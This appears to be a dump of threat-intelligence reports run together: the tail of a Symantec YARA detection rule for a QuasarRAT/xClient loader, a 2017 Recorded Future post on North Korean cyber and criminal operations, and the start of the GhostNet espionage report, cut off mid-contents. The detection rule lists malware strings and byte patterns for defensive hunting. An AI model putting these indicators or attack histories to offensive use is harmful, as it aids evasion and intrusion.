(f))) rule checkid_loader meta: author Symantec, a division of Broadcom description BlackHole/BlackSwan / QuasarRAT/xClient loader hash 29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78 strings: s1 Call s.s(\s\) d fullword wide s2 Assembly::CreateInstance failed w/hr 0x08lx fullword wide s3 checkID s4 NULL checkID hMutex fullword s5 checkID Mutex ERROR_ALREADY_EXISTS fullword s6 dllmain mutex ERROR_ALREADY_EXISTS fullword 7/7 x1 xClient. Program fullword wide x2 LoadPayload fullword m1 SFZJ_Wh16gJGFKL ascii wide m2 d5129799-e543-4b8b-bb1b-e0cba81bccf8 ascii wide m3 USA_HardBlack ascii wide b1 BlackHole. Slave. Program fullword wide b2 NuGet\\Config wide b3 VisualStudio.cfi wide p E1 F6 3C AC AF AC AC AC A8 AC AC AC 53 53 AC AC 14 t 0sNksjd1czZ1drJktPO24aEjISMtsvLy5LJzNjdyNnL1dLY08uS39PRhoSMhIy2jYyPkomNko2IjJKEiIaEjISM condition: uint16(0) 0x5A4D and uint32(uint32(0x3C)) 0x00004550 and 2 of (s) and (all of (x) or any of (m) or all of (b) or p or t) The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. North Korea Is Not Crazy www.recordedfuture.com /north-korea-cyber-activity/ The Recorded Future Blog by Insikt Group on June 15, 2017 Intent is critical to comprehending North Korean cyber activity. Understanding North Korean national objectives, state organizations, and military strategy are key to, and often missing from, discussions about attributing North Korean cyber activity. Frequently, senior political leaders, cyber security professionals, and diplomats describe North Korean leaders or their respective actions as crazy, erratic, or not rational. This is not the case. When examined through the lens of North Korean military strategy, national goals, and security perceptions, cyber activities correspond to their larger approach. Recorded Future research reveals that North Korean cyber actors are not crazy or irrational: they just have a wider operational scope than most other intelligence services. This scope comprises a broad range of criminal and terrorist activity, including illegal drug manufacturing and selling, counterfeit currency production, bombings, assassination attempts, and more. The National Security Agency (NSA) has attributed the April WannaCry ransomware attacks to North Koreas intelligence service, the Reconnaissance General Bureau (RGB). We assess that use of ransomware to raise funds for the state would fall under both North Koreas asymmetric military strategy and self-financing policy, and be within the broad operational remit of their intelligence services. Background 1/9 https://www.recordedfuture.com/north-korea-cyber-activity/ http://www.washingtontimes.com/news/2017/apr/7/john-mccain-applauds-airstrikes-warns-biggest-thre/ https://www.wired.com/2014/12/sony-north-korea-hack-experts-disagree/ http://www.cnn.com/2017/03/08/politics/nikki-haley-north-korea-kim-jong-un/ https://www.washingtonpost.com/world/national-security/the-nsa-has-linked-the-wannacry-computer-worm-to-north-korea/2017/06/14/101395a2-508e-11e7-be25-3a519335381c_story.html?hpidhp_hp-more-top-stories_northkoreacyber744pm3Ahomepage2Fstoryutm_term.c7e1181476fd https://www.recordedfuture.com/wannacry-ransomware-analysis/ https://www.recordedfuture.com/assets/north-korea-cyber-activity-2.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-3.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-4.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-5.png https://www.recordedfuture.com/assets/north-korea-cyber-activity-6.jpg https://www.recordedfuture.com/assets/north-korea-cyber-activity-7.jpg The Democratic Peoples Republic of Korea (DPRK or North Korea) is a hereditary, Asian monarchy with state, party, and military organizations dedicated to preserving the leadership of the Kim family. North Korea is organized around its communist party, the Korean Workers Party (KWP), and the military, the Korean Peoples Army (KPA). The Reconnaissance General Bureau (RGB), also known as Unit 586, was formed in 2009 after a large restructure of several state, military, and party intelligence elements. Subordinate to the KPA, it has since emerged as not just the dominant North Korean foreign intelligence service, but also the center for clandestine operations. The RGB and its predecessor organizations are believed responsible for a series of bombings, assassination attempts, hijackings, and kidnappings commencing in the late 1950s, as well as a litany of criminal activities, including drug smuggling and manufacturing, counterfeiting, destructive cyber attacks, and more.
206
Satellite Image of the RGB Southern Operations Building in Pyongyang.
41,608
41,762
155
data/reports_final/0206.txt
Satellite Image of the RGB Southern Operations Building in Pyongyang. ( Source) As North Koreas lead for clandestine operations, the RGB is also likely the primary cyber operations organization as well. As described by the Center for Strategic and International Studies in 2015 report: The RGB is a hub of North Korean intelligence, commando, and sabotage operations. The RGB history of its leadership and component parts paints a picture of a one-stop shop for illegal and clandestine activity conducted outside the DPRK. The RGB and, prior to 2009 its component parts, have been involved in everything from maritime-inserted commando raids to abductions and spying. For the RGB to be in control of cyber assets indicates that the DPRK intends to use these assets for provocative purposes. The RGB probably consists of seven bureaus six original bureaus and a new seventh (Bureau 121) that was likely added sometime after 2013. RGB organizational chart, compiled with information from The Korea Herald, 38 North, and CSIS. Bureau 121 is probably North Koreas primary cyber operations unit, but there are other units within the KPA and KWP that may also conduct cyber operations. Attribution of specific cyber activity to the North Korean state or intelligence organizations is difficult, and up until 2/9 http://www.korea-dpr.com/ https://books.google.com/books?idqoZx6hOCNukCprintsecfrontcoverdqUndertheLovingCareoftheFatherlyLeader:NorthKoreaandtheKimDynastyhlensaXved0ahUKEwiZtuDu9pnUAhVB5yYKHX2uCokQ6AEIJjAAvonepageqffalse http://www.korea-dpr.info/lib/109.pdf https://cdn.loc.gov/master/frd/frdcstdy/no/northkoreacountr00word/northkoreacountr00word.pdf http://www.koreaherald.com/view.php?ud20100427000663 http://38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf http://www.koreaherald.com/view.php?ud20100526000675 https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf https://nkleadershipwatch.files.wordpress.com/2009/10/operationsdepartment.pdf http://www.newyorker.com/news/news-desk/north-koreas-abduction-project http://www.38northdigitalatlas.org/ http://www.csis.org/ https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf http://www.38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf http://www.koreaherald.com/view.php?ud20100526000675 http://www.38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf http://www.bbc.co.uk/newsbeat/article/32926248/bureau-121-north-koreas-elite-hackers-and-a-tasteful-hotel-in-china https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf https://csis-prod.s3.amazonaws.com/s3fs-public/legacy_files/files/publication/151216_Cha_NorthKoreasCyberOperations_Web.pdf http://uk.reuters.com/article/uk-northkorea-cyber-usa-idUKKBN1942LW recently, circumstantial. On June 12, US-CERT released a joint technical alert that summarized analysis conducted by the U.S. Department of Homeland Security (DHS) and FBI on the tools and infrastructure used by cyber actors of the North Korean government to target the media, aerospace, financial, and critical infrastructure sectors in the United States and globally. This alert marked the first time the U.S. government linked threat actor groups and malware long-suspected to be utilized by North Korean state-sponsored actors with the with North Korean government itself. DHS and FBI explicitly identified two threat actor groups, Lazarus Group and Guardians of Peace, and three tools, Destover, Wild Positron/Duuzer, and Hangman, as used by the North Korean government. While the FBI and DHS identified many indicators of compromise, Yara rules, and network signatures, the report did not provide any evidence supporting the attribution to the North Korean government or details on which organization or unit might be responsible. Lazarus Group, now known to be North Korean state-sponsored actors, have been conducting operations since at least 2009, with a DDoS attack on U.S. and South Korean websites using the MYDOOM worm. Until late 2015, Lazarus Group cyber activities primarily focused on South Korean and U.S. government and financial organizations, including destructive attacks on South Korean banking and media sectors in 2013 and highly publicized attack on Sony Pictures Entertainment in 2014. Timeline of Lazarus Group cyber operations since 2009. In early 2016, a new pattern of activity began to emerge in an unusual operation against the Bangladesh Central Bank. Actors obtained the legitimate Bangladesh Central Bank credentials for the SWIFT interbank messaging system and used them to attempt to transfer 951 million of the banks funds to accounts around the world. A few simple errors by the actors (and some pure luck) allowed central bankers to prevent the transfer of or recover most of the funds, but the attackers ended up getting away with nearly 81 million. The National Security Agency ( NSA) has attributed this attack on the Bangladesh Central Bank to the North Korean state, however, the investigation within the U.S. government is still ongoing. Threat analysts from numerous companies have attributed this attack and subsequent attacks on banks around the world through early 2017 to the 3/9 http://www.group-ib.com/lazarus.html https://www.us-cert.gov/ https://www.us-cert.gov/ncas/alerts/TA17-164A https://www.symantec.com/connect/blogs/duuzer-back-door-trojan-targets-south-korea-take-over-computers https://www.fireeye.com/blog/threat-research/2015/09/zero-day_hwp_exploit.html https://www.us-cert.gov/sites/default/files/publications/TA-17-164A_csv.csv https://www.us-cert.gov/ncas/tips/ST04-015 https://www.theguardian.com/technology/2009/jul/08/cyber-war-mydoom-virus-attack http://blog.trendmicro.com/trendlabs-security-intelligence/mydoom-code-re-used-in-ddos-on-u-s-and-south-korean-sites/ https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf https://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf https://www.sans.org/reading-room/whitepapers/warfare/tracing-lineage-darkseoul-36787 http://english.chosun.com/site/data/html_dir/2013/01/17/2013011700661.html https://www.operationblockbuster.com/resources/ https://www.swift.com/ https://www.wired.com/2016/05/insane-81m-bangladesh-bank-heist-heres-know/ http://www.reuters.com/investigates/special-report/cyber-heist-federal/ https://www.nytimes.com/2016/05/01/business/dealbook/hackers-81-million-sneak-attack-on-world-banking.html http://foreignpolicy.com/2017/03/21/nsa-official-suggests-north-korea-was-culprit-in-bangladesh-bank-heist/ http://www.group-ib.com/lazarus.html https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf Lazarus Group (which DHS, FBI, and NSA have all linked to the North Korean government over the past three days). According to a Washington Post report published on June 14, the NSA has compiled an intelligence assessment on the WannaCry campaign and has attributed the creation of the WannaCry worm to cyber actors sponsored by the RGB. This assessment, which was apparently issued internally last week, cited moderate confidence in the attribution and ascribed the April campaign as an attempt to raise revenue for the regime. The attacks on the Bangladesh Central Bank, additional banks around the world, and the WannaCry ransomware campaign represent a new phase in North Korean cyber operations, one that mirrors the phases of violence and criminality North Korea has passed through over the past 50 years. We will examine these phases later in this post. The broad operational range of known and suspected North Korean cyber operations has for years raised questions about the rationality of North Korean leadership, possible motivations and benefits for the country from this type of cyber activity, and why North Korea would deny responsibility for these attacks. Recorded Future research addresses these questions by examining the whole picture and pairing geopolitical and strategic intelligence with threat intelligence. Analysis Digging into some of these past North Korean activities is important to add context to the cyber operations we have tracked since 2009. North Koreas engagement in a wide range of criminal and terrorist activities is part of its broad national strategy, which employs asymmetric operations and surprise attacks to overcome North Koreas conventional national power deficit. According to an interview with a former U.S. State Department official, and North Korea expert, in Vanity Fair, crime, in other words, has become an integral part of North Koreas economy. It not only pays, it plays to their strategy of undermining Western interests.1 It is critical to place North Koreas criminal and cyber activity in the context of its larger military and national security strategies which support two primary objectives: 1. Perpetuation of the Kim regime, 2. Unification of the Korean peninsula under North Korean leadership. A 2016 University of Washington study succinctly summarizes North Koreas asymmetric military strategy: Since the end of the Korean War, North Korea has developed an asymmetric military strategy, weapons, and strength because its conventional military power is far weaker than that of the U.S. and South Korea. Thus, North Korea has developed three military strategic pillars: surprise attack quick decisive war mixed tactics. First, its surprise attack strategy refers to attacking the enemy at an unexpected time and place. Second, its quick decisive war strategy is to defeat the South Korean military before the U.S. military or international community could intervene. Lastly, its mixed tactics strategy is to use multiple tactics at the same time to achieve its strategic goal. Despite their near-constant tirade of bellicose rhetoric and professions of strength, North Korea fundamentally views the world from a position of weakness, and has developed a national strategy that utilizes its comparative strengths complete control over a population of 25 million people and unflinching, amoral devotion to the Kim hereditary dynasty. In this context, criminality, terrorism, and destructive cyber attacks all fit within the North Korean asymmetric military strategy which emphasizes surprise attacks and mixed tactics. The criminality and cyber attacks also have the added bonus of enabling North Korea to undermine the very international economic and political systems that 4/9 https://www.washingtonpost.com/world/national-security/the-nsa-has-linked-the-wannacry-computer-worm-to-north-korea/2017/06/14/101395a2-508e-11e7-be25-3a519335381c_story.html?hpidhp_hp-more-top-stories_northkoreacyber744pm3Ahomepage2Fstoryutm_term.9770bf40c050 http://ssi.armywarcollege.edu/pubs/parameters/Articles/97spring/jablonsk.htm https://www.cnas.org/people/david-asher http://www.vanityfair.com/style/2009/09/office-39-200909 https://ssi.armywarcollege.edu/pdffiles/PUB771.pdf https://jsis.washington.edu/news/north-korea-cyber-attacks-new-asymmetrical-military-strategy/ https://kcnawatch.co/search/?qUnitedStates https://www.cia.gov/library/publications/the-world-factbook/geos/kn.html constrain and punish it. Evidence is mounting that sanctions, international pressure, and possibly increased enforcement by China are beginning to take their toll on the North Korean economy and in particular, North Korea intelligence agents ability to procure goods for regime leadership. A May 2017 report from the Korea Development Institute concluded that North Koreas black market had helped the nation endure the impacts of the international sanctions last year. Detailed below are numerous non-cyber operations that have been conducted by the predecessor organizations of the RGB. The violence, destruction, and criminal breadth of these operations reveal the broad operational scope of these intelligence services and the context in which they are conducted. This data further reveals a history of denials by North Korea of responsibility for operations dating back to the 1960s, putting into context the current leaderships denials of cyber operations. Note The activities detailed below are intended to be illustrative, not an exhaustive list, of the broad operational remit for North Korean operations. Blue House Raid One of the first major attacks on South Korea since the armistice was declared after the Korean War in 1953 occurred in 1968. The so-called Blue House Raid was an assassination attempt on then-President Park Chung Hee by 31 North Korean special operations soldiers on the night of January 20, 1968. The 31 North Korean soldiers crossed the DeMilitarized Zone (DMZ) on foot and managed to get within a half mile of the Presidents residence (the so-called Blue House) before being exposed. Upon discovery the North Korean soldiers engaged in a series of firefights with South Korean forces 68 South Koreans and three U.S. soldiers were killed. Most of the North Korean soldiers were killed in the eight days after the raid two made it back across the DMZ and one was captured. The captured North Korean soldier claimed during a press conference that they had come to cut Park Chung Hees throat. That account was disputed during a secret meeting in 1972 between a South Korean intelligence official and the then-Premier Kim Il-sung. Kim claimed his government had nothing to do with the raid and did not even know about it at the time. 5/9 https://www.treasury.gov/resource-center/sanctions/Programs/Pages/nkorea.aspx https://www.treasury.gov/resource-center/sanctions/Programs/Documents/2321.pdf https://www.cfr.org/backgrounder/china-north-korea-relationship http://freekorea.us/2016/06/28/n-korean-counterfeiting-surges-as-bureau-39s-checks-bounce/sthash.2YDy2cs3.dpbs http://www.kdi.re.kr/kdi_eng/research/research_view.jsp?pub_no15221pg1temaG0pp10 http://www.kdi.re.kr/ https://www.archives.gov/historical-docs/todays-doc/?dod-date727 https://www.nknews.org/2013/01/when-nk-commandos-tried-to-assassinate-south-koreas-president/ https://nkmonitor.wordpress.com/2008/01/21/remembering-the-blue-house-raid/ http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2885337 http://oai.dtic.mil/oai/oai?verbgetRecordmetadataPrefixhtmlidentifierADA461685 A captured North Korean soldier after the Blue House Raid. ( Source) 1983 Rangoon Bombing On October 9, 1983, three North Korean soldiers attempted to assassinate then-South Korean President Chun Doo Hwan while on a trip to Myanmar. A bomb at a mausoleum the President was scheduled to visit detonated early, killing 21 people, including the Korean Foreign Minister and Deputy Prime Minister. During the trial for the bombers, testimony revealed that the North Korean agents used a North Korean trading vessel to travel to Myanmar and the home of a North Korean diplomat to prepare the bombs. In a classified report (report was declassified in 2000) ten days after the bombing, CIA analysts laid out a strong case that North Korea was responsible for the attack despite official denials of involvement from the official North Korean news agency. North Korean state media even accused President Chun of using the attack to increase tensions on the peninsula. South Korean officials wait at the mausoleum in Rangoon minutes before the bomb detonated. ( Source) Korean Air Flight 858 Bombing On November 29, 1987, two North Korean intelligence agents boarded and placed a bomb on a Korean Air flight from Baghdad, Iraq to Seoul. During a layover in Abu Dhabi, the two agents de-planed but left the bomb (disguised as a radio) onboard. The bomb detonated and the plane crashed in the jungle on the Thai-Burma border and killed 6/9 https://archive.org/details/BlueHoweRaid1968 http://www.time.com/time/magazine/article/0,9171,952196,00.html http://english.yna.co.kr/Engnews/20060223/480100000020060223092719E9.html http://oai.dtic.mil/oai/oai?verbgetRecordmetadataPrefixhtmlidentifierADA461685 http://www.upi.com/Archives/1983/12/09/North-Koreans-sentenced-to-death-for-Burmese-bombing/4439439794000/ https://www.washingtonpost.com/archive/politics/1983/12/03/north-korean-leaders-son-blamed-for-rangoon-bombing/ddec34cc-9c12-4fc6-bf75-36057091aa4e/?utm_term.29ddcb686467 https://www.cia.gov/library/readingroom/docs/DOC_0000408056.pdf http://www.upi.com/Archives/1983/10/12/More-than-1-million-mourners-summoned-by-the-wail/2380434779200/ http://archives.chicagotribune.com/1983/10/13/page/29/article/a-million-koreans-mourn-bomb-victims http://english.chosun.com/site/data/html_dir/2007/04/25/2007042561013.html http://www.koreatimes.co.kr/www/news/nation/2012/07/113_115434.html http://articles.latimes.com/1990-04-13/news/mn-1259_1_north-korean-bombed http://articles.latimes.com/1988-01-15/news/mn-24248_1_north-korea http://www.nytimes.com/1987/12/01/world/korea-suspects-bomb-downed-jet.html all 115 people on board. One of the North Korean intelligence agents, who was captured alive, later revealed that the bombing was meant to discourage foreign participation in the 1988 Olympic Games in Seoul and create unrest in South Korea. The agent also confessed that the order to bomb the plane had come directly from then North Korean leader Kim Il-Sung or his son, later leader Kim Jong-il. Transition to Criminality By the mid-1990s, North Korea had generally shifted from acts of terrorism to criminality. While North Korea had held a policy of self-financing,2 in which embassies and diplomatic outposts were forced to earn money for their own operations typically via engaging in illicit activity such as smuggling, since the late 1970s, it was during the 1990s that this criminality became a business of the entire state and not just the diplomatic establishment. A number of factors affected this shift, including the end of the Cold War and the withdrawal of crucial aid from benefactors (like the Soviet Union and China), a crippling famine, a leadership transition, and years of international condemnation and punitive actions. A 2015 report from the Committee for Human Rights in North Korea characterizes North Koreas involvement in illicit economic activities into three separate phases. First, from the origins of North Korea state involvement in the 1970s through mid-1990s, from the mid-90s through the mid-2000s, and approximately 2005 to today. The RGB, its predecessor organizations, and other military and intelligence services support these illicit activities. Illegal Drug Manufacturing and Smuggling North Korea has had a state-sponsored drug smuggling (and later manufacturing as well) program since the mid- 1970s. This vast enterprise has been supported by the military, intelligence services, and diplomats and has often included working with criminal organizations such as the Taiwanese gang United Bamboo, Philippine criminal syndicates, and Japanese organized crime.3 Academic research indicates that North Korea has developed extensive covert smuggling networks and capabilities primarily to provide a means of hard currency for the Kim regime. The North Korean state actively cultivates opium poppy and produces as much as 50 metric tons of raw opium per year. To put that in context, the United Nations estimates that Afghanistan produced 6,400 tons of raw opium in 2014, which makes North Korea a minor producer in comparison. According to a Congressional Research Service report, government processing labs have the capacity to process twice that amount into opium or heroin each year. Experts estimate that North Korea brings in as much as 550 million to 1 billion annually from illicit economic activities. Counterfeiting One of the more widely reported North Korean criminal enterprises has been the production of counterfeit American 100 (and 50) bills, or so-called supernotes. In a 2006 Congressional testimony, the U.S. Secret Service made a definitive link between the production of the supernote and the North Korean state. According to interviews in a 2006 New York Times Magazine article, North Korean state support for counterfeiting U.S. currency dates back to a directive issued by Kim Jong-il in the mid-1970s. Original counterfeiting involved bleaching 1 bills and reprinting them as 100 notes and evolved over time as North Koreas international isolation grew and its economy collapsed. 7/9 http://articles.latimes.com/1988-01-15/news/mn-24248_1_north-korea http://www.bbc.com/news/world-asia-22244337 https://books.google.com/books?idfqyxDQAAQBAJprintsecfrontcoverdqAvoidingtheApocalypse:TheFutureoftheTwoKoreashlensaXved0ahUKEwjL0sOug6fUAhVK3IMKHdjYDAkQ6AEIJjAAvonepageqAvoiding the Apocalypse3A The Future of the Two Koreasffalse http://www.journals.uchicago.edu/doi/pdfplus/10.1086/452523 https://www.usip.org/publications/1994/12/north-korean-nuclear-challenge-post-kim-il-sung-phase-begins https://www.armscontrol.org/factsheets/dprkchron https://www.treasury.gov/resource-center/sanctions/Programs/pages/nkorea.aspx https://www.hrnk.org/uploads/pdfs/SCG-FINAL-FINAL(1).pdf https://www.hrnk.org/ http://38north.org/wp-content/uploads/2010/06/38north_SR_Bermudez2.pdf https://scholar.harvard.edu/files/greitens/files/Chestnut - Illicit Activity and Proliferation - North Korean Smuggling Networks.pdf http://oldsite.nautilus.org/archives//DPRKbriefingbook/terrorism/bg1679.htmlpgfId-1049515 http://foreignpolicy.com/2008/05/08/the-list-the-worlds-most-dangerous-gangs/ https://www.theguardian.com/uk-news/2016/jun/04/uk-man-jailed-for-15-years-in-us-for-north-korean-drug-plot http://s3.amazonaws.com/academia.edu.documents/39150466/East_Asian_intelligence_and_organized_crime_An_Introduction.pdf?AWSAccessKeyIdAKIAIWOWYYGZ2Y53UL3AExpires1496770312SignaturelgMjigalWUpRsnKrHalQxbbXRQM3Dresponse-content-dispositioninline3B filename3DEast_Asian_Intelligence_and_Organized_Cr.pdf https://books.google.com/books/about/Red_Rogue.html?id24ufAAAAMAAJ https://www.hrnk.org/uploads/pdfs/SCG-FINAL-FINAL(1).pdf https://csis-prod.s3.amazonaws.com/s3fs-public/publication/160809_Korean_Special_Asymmetric_Paramilitary_Forces.pdf https://www.unodc.org/documents/crop-monitoring/Afghanistan/Afghan-opium-survey-2014.pdf https://fas.org/sgp/crs/row/RL33885.pdf https://csis-prod.s3.amazonaws.com/s3fs-public/publication/160809_Korean_Special_Asymmetric_Paramilitary_Forces.pdf http://www.slate.com/articles/news_and_politics/explainer/2005/08/what_are_supernotes.html https://www.gpo.gov/fdsys/pkg/CHRG-109shrg28241/pdf/CHRG-109shrg28241.pdf http://www.nytimes.com/2006/07/23/magazine/23counterfeit.html Supernote and a real 100 bill. ( Source) Distribution and production of the supernotes followed a similar pattern to North Korean-produced narcotics, utilizing global criminal syndicates, state and intelligence officials, and legitimate businesses. North Korea has repeatedly denied involvement in counterfeiting or any illegal operations. A History of Denial As outlined above, North Korea has a history of denying responsibility for their violent, illicit, and destructive operations. This includes denying involvement in the Blue House Raid, the Rangoon Bombing, all criminal and illicit activity including counterfeiting U.S. dollars, the Sony Pictures Entertainment attack, and the Bangladesh Central Bank robbery. Some scholars argue that acts such as counterfeiting a nations currency constitutes a casus belli, an action or event that justifies war, and others argue that international legal norms and constructs do not adequately address what constitutes casus belli in the cyber domain. Both of these arguments, as well as an understanding of North Koreas asymmetric military strategy, underscore why North Korea would not want to claim responsibility for many of these destructive and violent acts. Acknowledging state responsibility could provide the United States or South Korea with a valid casus belli, resulting in a war that North Korea would most certainly lose. Even if the evidence is strong, official government denials create uncertainty and give North Korea space to continue operations. Impact What has been missing from the discussion about whether North Korea is responsible for the WannaCry campaign and the bank heists has been the why the geopolitical and strategic intelligence that give CSOs, security professionals, and threat analysts context for the activity they are seeing. As of last week the NSA and several companies, including Symantec and Kaspersky, have linked the recent WannaCry ransomware campaign to North Korea Recorded Future assesses that this type of cyber activity would fall within both North Koreas self-financing policy and asymmetric military strategy. 8/9 http://www.dailynk.com/english/read.php?cataIdnk00100num484 http://nautilus.org/wp-content/uploads/2012/09/0605Chestnut1.pdf https://www.theguardian.com/world/2011/dec/21/sean-garland-escapes-extradition-us http://www.washingtontimes.com/news/2009/jun/02/n-korea-general-tied-to-forged-100-bills/ http://www.nytimes.com/2007/01/18/world/asia/18iht-north.4255039.html http://nautilus.org/napsnet/napsnet-policy-forum/the-north-korean-criminal-state-its-ties-to-organized-crime-and-the-possibility-of-wmd-proliferation/ https://www.merriam-webster.com/dictionary/casus belli https://scholarsbank.uoregon.edu/xmlui/bitstream/handle/1794/17967/Poche.pdfsequence1 https://www.recordedfuture.com/wannacry-ransomware-analysis/ https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group https://securelist.com/wannacry-and-lazarus-group-the-missing-link/78431/ In this context, as a nation that is under immense international financial and political pressure and one that employs these types of policies and strategies, Recorded Future believes that North Korean cyber operations (with the goal of acquiring hard currency) will continue for at least the short to medium term (one to three years). Additionally, destructive cyber operations against the South Korean government and commercial entities will persist over this same term and likely expand to Japanese or Western organizations if U.S. and North Korea tensions remain high. The cyber threat environment and military strategy framed above indicate that companies in several major economic sectors should increase monitoring of North Korean cyber activity. Financial services firms must remain constantly vigilant to exploitation of their SWIFT connections and credentials, possible destructive malware attacks and DDoS, and threats to customer accounts and data. Companies in the government contracting and defense sectors, especially companies that support the Terminal High Altitude Area Defense (THAAD) system deployment as well as U.S. or South Korean operations on peninsula, should be aware of the heightened threat environment to their networks and operations on the Korean peninsula. Energy and media companies, particularly those located in or that support these sectors in South Korea, should be alert to a wide range of cyber activity from North Korea, including DDoS, destructive malware, and ransomware attacks. Broadly, organizations in all sectors should continue to be aware of the adaptability of ransomware and modify their cyber security strategies as the threat evolves. This is part one of a two-part series on North Korea. In part two, we will examine patterns of behavior and internet activity from North Korea, including the widespread use of virtual private servers (VPS) and virtual private networks (VPN) to obfuscate browsing, internet transactions, and other, possibly malicious, activity. 9/9 https://missilethreat.csis.org/system/thaad/ North Korea Is Not Crazy The Recorded Future Blog Background Analysis Note Blue House Raid 1983 Rangoon Bombing Korean Air Flight 858 Bombing Transition to Criminality Illegal Drug Manufacturing and Smuggling Counterfeiting A History of Denial Impact JR02-2009 Information Warfare Monitor Tracking GhostNet: http://www.infowar-monitor.net/ghostnet http://www.tracking-ghost.nett Investigating a Cyber Espionage Network March 29, 2009 March 29, 2009 Foreword Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30 of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. But the study clearly raises more questions than it answers. From the evidence at hand, it is not clear whether the attacker(s) really knew what they had penetrated, or if the information was ever exploited for commercial or intelligence value. Some may conclude that what we lay out here points definitively to China as the culprit. Certainly Chinese cyber-espionage is a major global concern. Chinese authorities have made it clear that they consider cyberspace a strategic domain, one which helps redress the military imbalance between China and the rest of the world (particularly the United States). They have correctly identified cyberspace as the strategic fulcrum upon which U.S. military and economic dominance depends. But attributing all Chinese malware to deliberate or targeted intelligence gathering operations by the Chinese state is wrong and misleading. Numbers can tell a different story. China is presently the worlds largest Internet population. The sheer number of young digital natives online can more than account for the increase in Chinese malware. With more creative people using computers, its expected that China (and Chinese individuals) will account for a larger proportion of cybercrime. Likewise, the threshold for engaging in cyber espionage is falling. Cybercrime kits are now available online, and their use is clearly on the rise, in some cases by organized crime and other private actors. Socially engineered malware is the most common and potent it introduces Trojans onto a system, and then exploits social contacts and files to propagate infections further. Furthermore, the Internet was never built with security in mind. As institutions ranging from governments through to businesses and individuals depend on 24-hour Internet connectivity, the opportunities for exploiting these systems increases. JR02-2009 Tracking GhostNet - FOREWORD Ron Deibert, Director, the Citizen Lab, Munk Centre for International Studies, University of Toronto. JR02-2009 Tracking GhostNet - FOREWORD Rafal Rohozinski, Principal and CEO, The SecDev Group, Ottawa, Canada. This report serves as a wake-up call. At the very least, a large percentage of high-value targets compromised by this network demonstrate the relative ease with which a technically unsophisticated approach can quickly be harnessed to create a very effective spynetThese are major disruptive capabilities that the professional information security community, as well as policymakers, need to come to terms with rapidly. These are major disruptive capabilities that the professional information security community, as well as policymakers, need to come to terms with rapidly. JR02-2009 Tracking GhostNet - ACKNOWLEDGEMENTS Acknowledgements This investigation was prepared by a dedicated team of professionals. Greg Walton conducted and coordinated the primary field-based research in India, Tibetan Missions abroad, and Europe. Greg is a SecDev Group associate and editor of the Information Warfare Monitor website. He is currently a SecDev Fellow at the Citizen Lab. The Indian portion of the field work benefited from the expertise of Dr. Shishir Nagaraja, Security Laboratory, Cambridge University. Dr. Nagaraga visited Dharamsala for a period of five days in September to assist on aspects of the technical data collection.1 The technical scouting and computer network interrogation was carried out by Nart Villenueve. Nart is the CTO of Psiphon Inc, and the Psiphon Fellow at the Citizen Lab. His investigations included the discovery and exploration of the GhostNet control servers. He led the data analysis research, which included log files gathered in the field, as well as data obtained through technical scouting of the GhostNet control servers. This report represents a collective effort. The drafting team consisted of the following individuals (listed in alphabetical order). Ronald Deibert (Citizen Lab), Arnav Manchanda (SecDev Group), Rafal Rohozinski (SecDev Group and Psiphon Inc.), Nart Villeneuve (Psiphon Fellow, Citizen Lab) and Greg Walton (SecDev Fellow, Citizen Lab). Layout and design was led by Jane Gowan (Psiphon Inc. and Citizen Lab). Belinda Bruce (Blurb Media) and James Tay (Citizen Lab), provided additional support to the team. Countless others also contributed to the research effort. This includes individuals in India and Tibet, who for security reasons we cannot name. We are also grateful to the Private Office of his Holiness the Dalai Lama, the Tibetan Government-in-Exile, the missions of Tibet in London, Brussels, and New York, and Drewla (a Tibetan NGO). 1 Aspects of the research carried out by Dr. Nagaraga focusing on socially engineered malware are published in a separate study. See, The snooping dragon: social-malware surveillance of the Tibetan movement, Shishir Nagaraja, Ross Anderson, Cambridge University Computer Laboratory Technical Report, Mar 29 2009 JR02-2009 Tracking GhostNet - TABLE OF CONTENTS Summary p. 5 Introduction p. 7 Rise of the cyber spies p. 7 A focus on China p. 9 Outline of Report p. 9 Part One: Context and background p. 10 Alleged Chinese operations in cyberspace p. 11 Applying the evidence-based approach to cyber attacks: the challenge of attribution p. 12 Targeting Tibet p. 13 Conduct of the investigation p. 14 Phase 1: Field investigation p. 14 Phase 2: Identifying command and control servers p. 14 Part Two: Tracking Ghostnet p. 16 Phase I: Field investigation p. 17 Targeted malware previous research p. 17 Information Warfare Monitor field research p. 22 Office of His Holiness the Dalai Lama p. 22 Tibetan Government-in-Exile p. 27 Offices of Tibet p. 27 Drewla p. 27 Phase 2: Identifying command and control servers p. 30 List of infected computers p. 32 Sending commands p. 34 Command results p. 37 Methods and capabilities p. 39 Analysis of list of infected 